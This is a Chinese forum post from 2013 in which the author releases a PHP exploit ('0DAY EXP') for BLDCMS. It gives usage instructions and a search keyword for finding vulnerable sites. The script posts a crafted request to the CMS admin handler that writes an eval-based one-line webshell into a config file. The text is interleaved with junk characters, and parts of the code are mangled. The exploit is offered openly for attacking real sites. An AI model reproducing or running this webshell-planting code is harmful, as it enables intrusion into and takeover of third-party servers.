之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞( }! W% i" j$ M" N) P
2 g: \* ]! }5 X4 e! V/ g! a# P# H - v& Z/ e2 m8 D) @
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
$ k& W+ M) S5 p" @( [0 `
' N7 f2 F' P% H% ^% X既然都有人发了 我就把我之前写好的EXP放出来吧& J- J4 c: Y' k5 r, J( X
% w0 j, {, B3 h# E7 _view source print?01.php;">
$ |$ o) x, ]2 y, t( x5 |- U02.<!--?php
. |# H) n! |5 B* }9 ^7 t03.echo "-------------------------------------------------------------------
+ A9 v0 o" \0 C7 k, O04.
0 q6 S6 X) e# a6 t4 f3 x05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
; L. Z7 J5 {% U& F. ~06. 2 m% {) @6 _1 T
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun+ ~; Y# b; ]4 i% K' ^' x
08.
2 k: R4 w& I6 R09.QQ:981009941\r\n 2013.3.21\r\n ; U, h0 p7 ^: N
10.
1 v8 v0 _0 a2 o11. ! W* T8 j, \0 s% m. l. y
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码; h6 P/ w9 S" w }
13.
& d" n6 v/ D) G14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------0 h- F% Z: q$ a
15. / |& X) O/ n# [0 K' W, H, f! j4 q
16.--------------------------------------------------------------------\r\n";4 [* r. I+ R/ j" H( s5 w, A
17.$url=$argv[1];6 |/ H1 n, B0 ]; W8 W9 v2 [
18.$dir=$argv[2];
4 v; Y' R% F( p' r* Y6 \) m19.$pass=$argv[3];, Y, T, X! w4 i# s1 o5 X0 w
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
0 p" u5 i% u0 W" X) I' @" a6 O21.if (emptyempty($pass)||emptyempty($url))
3 C4 q" t0 V: ]' U, J* M! e22.{exit("请输入参数");}
' h3 C! u" P4 h# Q/ w; C23.else
0 w/ a5 i2 G- _/ k( i2 j0 H G5 E24.{
$ `! {; r) H9 _% p# {! U2 m25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
' ]% q: n5 f$ S ?26. + J& n/ p: ^, M
27.al;
- m1 D- L' D6 `) c& z. h+ e. g28.$length = strlen($fuckdata); b8 w1 T& N; f `5 h; _8 p
29.function getshell($url,$pass)4 J, j' ^: s% C7 e
30.{* [- q+ o5 L2 O2 {# D# h: v: N
31.global $url,$dir,$pass,$eval,$length,$fuckdata;! w. P% \, f, R+ T7 }& A6 y
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";8 t0 v: g) {3 L, k7 j' w+ w
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
9 X4 M6 Q9 }8 B' ?- H* q34.$header .= "User-Agent: MSIE\r\n";4 `& A( U1 n8 ?/ z8 ]
35.$header .= "Host:".$url."\r\n";- c+ B, ]; U1 q b
36.$header .= "Content-Length: ".$length."\r\n";
1 C+ V& e* K3 V2 U. _37.$header .= "Connection: Close\r\n";5 |& {) a* W; V9 ]4 Z
38.$header .="\r\n";" r2 q9 n# M! E+ S& Z# X
39.$header .= $fuckdata."\r\n\r\n";
7 q/ B& ~' e' K40.$fp = fsockopen($url, 80,$errno,$errstr,15);% X5 ~/ }! u# v& B$ A
41.if (!$fp)' d& x' B, F$ Q z2 C' Q, X W
42.{9 A @0 K$ ?* @6 ~; N4 g! m$ |
43.exit ("利用失败:请检查指定目标是否能正常打开");3 b2 u+ N# @5 H8 c) }
44.}
4 ]2 p7 p0 a( D6 {45.else{ if (!fputs($fp,$header))$ B/ ?2 |2 X) v+ j% j* \
46.{exit ("利用失败");}
3 @7 V& Z3 R$ Q0 h1 C0 H47.else; D5 F3 ?2 R$ n4 ]# g
48.{
* g/ i {7 z+ c/ M7 F) D" T49.$receive = '';4 x1 T: S0 B2 M+ o/ @
50.while (!feof($fp)) {
' j( g6 S3 U2 k+ y% @51.$receive .= @fgets($fp, 1000);, r( [# b( v Q$ ]7 I/ j, k
52.}
5 |' `# ^" Z! q3 p53.@fclose($fp);
# I+ u2 _- n. Z' Q+ u54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标* g7 Q" h" K2 j' \/ T: K7 b7 j
55. 0 f0 M& b0 ^$ i1 ~8 b
56.GPC是否=off)";
2 j9 j" Z" X/ q1 [- |% j% C1 c57.}}- I" x9 M+ `+ }. O& S
58.}9 t& D0 X6 |7 H- u' H4 L( K7 D5 M" x
59.}
- y2 v! h. _) F& @' m8 U: h2 {60.getshell($url,$pass);9 Z7 j( K3 t5 Q" t: H2 {- a& G( z
61.?-->
& Q( b: h6 B6 F2 R- Q2 [" Q" v
+ v1 p$ y" U3 o. o+ y/ Z. {% V( V$ a6 A+ N7 p; v2 @
" x/ D) D( e8 s% [) q* dby 数据流/ B+ i9 D ]3 W% u* M
|
发表于 2013-3-26 20:49:10
收藏
支持
反对